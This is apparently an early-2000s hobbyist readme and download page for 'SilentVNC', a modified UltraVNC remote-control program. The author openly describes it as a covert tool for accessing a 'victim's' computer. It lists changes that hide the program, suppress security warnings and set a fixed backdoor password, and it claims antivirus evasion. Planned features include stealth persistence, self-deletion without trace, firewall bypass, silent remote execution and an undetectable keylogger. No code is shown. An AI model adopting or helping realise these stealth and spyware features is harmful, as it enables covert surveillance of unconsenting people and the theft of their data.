This is my very first programming "project". I am fairly new to programing but I learn fast!
After searching on google for a "silent VNC program" I didn't find anything except one that had only one minor change and it was in "RealVNC". So I decided to make my own, able to have the source code to add or change anything I want. After trying all of the VNC programs out there I decided to go with Ultr@VNC. Mainly because it includes a chat window (this could be fun

) , and it had the best way of file transfering, compared to TightVNC.
Download source code of the latest work
Click here to view the latest work
Source compiled using Micrsoft Visual C++ 6.0
compiling winvnc.exe in debug mode: 0 error and 38 warnings
ReadMe:
Versions:
SilentVNC v0.2:
First release, did a lot of studing the code and making a few simple changes to Ultr@VNC to make it totally silent.
VNC source code used:
UltraVNC-100-RC114-src.zip
Changes:
#Disabled "tray icon" , The Only way to know its running is by clicking Ctrl Alt Del and looking at the processes
#Set the default connect password to "passwdtosilentvnc" , This way you are the only one who can log into your victims machine
#Disabled default setting "Remove wallpaper" , This is so when you connect to your victim, his desktop Wallpaper wonÂ’t disappear and he won't get suspicious.
#Removed pop-up box "WARNING : Running WinVNC without setting a password is a dangerous security risk!\nUntil you set a password, WinVNC will not accept incoming connections." , Just in case
#Removed pop-up box "Another instance of WinVNC is already running" , This way if your victim tries to open the silentvnc program again nothing will happen and he won't get suspicious thinking that something is installed and running...
#Removed victim side "Property" and "About" windows , Just to cut things down
Known Bugs:
#(Not really a bug)In Windows XP SilentVNC needs to be launched in the same folder that contains vnchooks.dll or else if you try to connect to that computer the victim will get a windows Error message and you won't be able to connect.
Needs testing:
#I have 5 computers but 4 of them have Windows XP Pro and one has Windows XP Home. That means I can't test it out on the earlier Windows versions.
Acomplished Goals:
#SilentVNC undetectable from Anti-viruse or Anti-spyware programs
#Totally silent install
Uncomplished Goals: First ones more important
1. Totally stable on any windows platform
2. Another program or maybe a batch file that can remotly be executed to "delete itself without a trace" (all SilentVNC files and Registry Keys)
3. Combining/compressing all the files into one .exe file (including SilentVNC.exe, vnchooks.dll and others) and copies these files to a subfoler in lets say "Program File" and runs SilectVNC .exe , totally silent as though NOTHING happened
4. Silently make SilentVNC program run on start-up (either through the registry or a shortcut placed in the start-up menu)
5. Delete all code that causes a pop-up box with an error or anything on "victim side" , Easy to do but time consuming
6. Get rid of a lot of useless code (except to keep it stable!) and keeping the key fetures (screen viewing, file transfering, stuf like that), to make the whole .exe file less than 500KB
7. Able to connect to someone that has on the Windows XP built-in Default Firewall (This could be a problem)
8. Able to execute files on remote computer silently (without needing to control their screen or mouse)
9. Maybe incorporate a silent key logger, thatÂ’s undetectable by anti-spyware software and the log file uploadable using the File Transfer feature in Ultr@VNC
10. Maybe some exploit that you could remotly install SilectVNC onto someones computer j/k
Special thanks to the hard working people creating Ultr@VNC!
To Remove/Uninstall simply click Ctrl Alt Del and "End Task" on winvnc.exe
Finally... USE THIS PROGRAM FOR GOOD, NOT EVIL!
If you want to help out to accomplish these goals or give me suggestions, contact me at
JabbaDaGutt@hotmail.com Click here to view the latest work